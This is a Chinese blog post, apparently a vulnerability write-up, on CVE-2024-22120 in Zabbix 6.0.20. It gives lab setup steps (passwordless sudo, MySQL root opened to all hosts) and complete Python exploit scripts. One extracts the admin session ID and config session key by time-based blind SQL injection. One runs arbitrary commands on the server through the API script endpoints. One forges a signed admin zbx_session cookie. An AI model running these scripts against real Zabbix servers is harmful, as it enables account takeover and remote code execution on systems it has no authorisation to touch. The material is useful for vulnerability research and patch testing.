浅聊CVE-2024-22120：Zabbix低权限SQL注入至RCE+权限绕过

Zabbix低权限SQL注入至RCE+权限绕过，可惜没找到关于传webshell的好方法，如有大神告知，感激万分！

本文中所有代码以及后续更新都会放在我的github仓库中：

https://github.com/W01fh4cker/CVE-2024-22120-RCE

一、漏洞环境搭建

1.1 下载vmware镜像并设置

源码地址：

https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz

Eclipse搭建调试环境的参考文章：

https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ

直接懒人一键搭建：

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

解压之后，vmware直接打开vmx文件，默认账号密码是root/zabbix。

登录之后执行命令visudo，在底下添加一行：

zabbix ALL=(ALL) NOPASSWD:ALL

如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试，反正我只加这一行就行了：

https://www.cnblogs.com/gqdw/p/3844881.html

为了方便测试，我们可以本地navicat连接环境的mysql数据库：

mysql -uroot
SET PASSWORD = 'zabbix'; 
use mysql;
select host, user from user;  
update user set host = '%' where user ='root';
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
service iptables save

1.2 漏洞环境设置

然后就是需要一些设置，首先需要添加一个用户，但是默认的User Role是没有HOSTS的查看权限的，所以需要先去开权限：

然后至少给一个读的权限，并点击Add：

现在开始添加用户：

组就选我们刚刚设置过的Guests：

角色选择User Role：

为什么说这个漏洞鸡肋呢，提交漏洞的作者说了，需要一个低权限用户，并且该用户需要具有Detect operating system的权限，但是这个操作默认的是没有的，只有管理员用户组才有：

需要手动设置用户组为全部或者Guests：

到这里就可以了，然后按照作者给出的复现步骤复现即可：

https://support.zabbix.com/browse/ZBX-24505

二、漏洞复现

2.1 验证漏洞存在并获取管理员session id和session key

作者给出的脚本如下：

https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py

他说可以延迟获取管理员的session id，但是我本地复现的时候获取的全0：

登录数据库发现，有多个sessionid，需要加一个limit 1：

因此我们可以修改代码如下：

import json
import argparse
from pwn import *
from datetime import datetime

def send_message(ip, port, sid, hostid, injection):
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "3",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    #print("Sending message %s" % message)
    r = remote(ip, port, level='debug')
    r.send(message)
    response = r.recv(1024)
    r.close()
    print(response)

def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, end="", flush=True)
                break
    print("\n")
    return session_id

def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, end="", flush=True)
                break
    print("\n")
    return token

def tiny_poc(ip, port, sid, hostid):
    print("(+) Running simple PoC...\n", end="", flush=True)
    print("(+) Sleeping for 1 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(1))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query-before_query))
    print("(+) Sleeping for 5 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(5))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))
    print("(+) Sleeping for 10 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(10))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))

def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
    print("(+) Sending SQL request for MySQL version...\n", end="", flush=True)
    query = "(version())"
    send_message(ip, port, sid, hostid, query)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Command-line option parser example')
    parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1")
    parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False)
    parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False)
    args = parser.parse_args()
    if args.poc:
        tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
    elif args.poc2:
        poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
    else:
        print("(+) Extracting Zabbix config session key...\n", end="", flush=True)
        config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) config session_key=%s\n" % config_session_key, end="", flush=True)
        print("(+) Extracting admin session_id...")
        admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True)
        print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))

这样就可以正确获取啦：

有了这个就可以实现RCE了，请看后文。

然后是poc2：

python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2

然后查看日志：

cat /var/log/zabbix/zabbix_server.log | grep "version()"

2.2 利用获取到的管理员session id实现RCE

import requests
import json

ZABIX_ROOT = "http://192.168.198.136"
url = ZABIX_ROOT + "/api_jsonrpc.php"
host_id = "10084"
session_id = "00000000000000000000000000000000"
headers = {
    "content-type": "application/json",
}
auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}')

while True:
    cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
    if cmd == "":
        print("Result of last command:")
    elif cmd == "quit":
        break
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": "1",
            "command": "" + cmd + ""
        },
        "auth": auth['result'],
        "id": 0,
    }
    cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
            "scriptid": "1",
            "hostid": "" + host_id + ""
        },
        "auth": auth['result'],
        "id": 0,
    }
    cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
    cmd_exe_json = cmd_exe.json()
    if "error" not in cmd_exe.text:
        print(cmd_exe_json["result"]["value"])
    else:
        print(cmd_exe_json["error"]["data"])

2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面

作者在报告中提了一嘴有session_id和session_key就可以得到sign值，然后就可以拼出zbx_session：

网上也没找到相应的成品代码，那就去翻源码。

zabbix-6.0.20\ui\include\classes\core\CCookieSession.php这里面的代码是用来处理和session相关的操作的，代码也是写的通俗易懂：

就是做一个SHA256的hash操作，那感情好啊，直接写出php形式的poc：

<?php
    function sign(string $data): string {
        $key = "927f855d3388d6daedb153d3de864970";
        return hash_hmac("sha256", $data, $key);
    }
    function prepareData(array $data): string {
        $data['sign'] = sign(json_encode($data));
        return base64_encode(json_encode($data));
    }
    function set(string $key, $value):array {
        $_SESSION[$key] = $value;
        return $_SESSION;
    }
set("sessionid", "be52fe697c5935099d441f03c5c68bff");
set("serverCheckResult", true);
$session_ = set("serverCheckTime", time());
$res = prepareData($session_);
echo $res;
?>

改成python代码的时候需要注意字典的item的位置问题，示例代码如下：

def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()

    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')

    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res

完整的代码：

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime

def SendMessage(ip, port, sid, hostid, injection):
    context.log_level = "CRITICAL"
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "1",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    r = remote(ip, port, level="CRITICAL")
    r.send(message)
    r.recv(1024)
    r.close()

def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, flush=True)
                break
    return token

def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, flush=True)
                break
    return session_id

def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()

    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')

    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res

def CheckAdminSession(ip, admin_session):
    proxy = {
        "https": "http://127.0.0.1:8083",
        "http": "http://127.0.0.1:8083"
    }
    url = f"http://{ip}/zabbix.php?action=dashboard.view"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Cookie": f"zbx_session={admin_session}"
    }
    resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
    if "Administration" in resp.text and resp.status_code == 200:
        return admin_session
    else:
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
    parser.add_argument("--false_time",
                        help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                        default="1")
    parser.add_argument("--true_time",
                        help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
                        default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    args = parser.parse_args()
    admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    admin_session = GenerateAdminSession(admin_sessionid, session_key)
    res = CheckAdminSession(args.ip, admin_session)
    if res is not None:
        print(f"try replace cookie with:\nzbx_session={res}")
    else:
        print("failed")

完整的演示效果如下：

可以看到这里是用户vulntest的界面：

然后运行拿到session：

替换cookie中对应的参数，然后刷新：

即可看到是Zabbix Administrator了，实现了从用户界面到管理界面的转换：

2.4 写Webshell

没有花时间研究其他办法了，因为运行用户是zabbix，等级太低了，所以默认情况下是没权限去echo写马的，但是我还是把对应的脚本传上去了：

https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-Webshell.py

网上对于这方面的研究不多，看到一篇灼剑安全团队的N0r4h师傅写的文章：

https://mp.weixin.qq.com/s/XKhmivS1_TarPD5yKgzQwA

他也提到了无法直接echo写马，但是他当时遇到的环境是存在pkexec的，所以有了后续的利用。

但是默认肯定是没有的：

三、代码分析（略）

最近重心不在这，就不花时间仔细调试了，问题出在如下位置：

L0ne1y师傅在他的公众号【安全之道】上发布了详细的代码分析过程，大家可以参考：

https://mp.weixin.qq.com/s/qUr58Dez4lnlaTyg2BilUg

  • 发表于 2024-05-22 14:07:57
  • 阅读 ( 24648 )
  • 分类：漏洞分析

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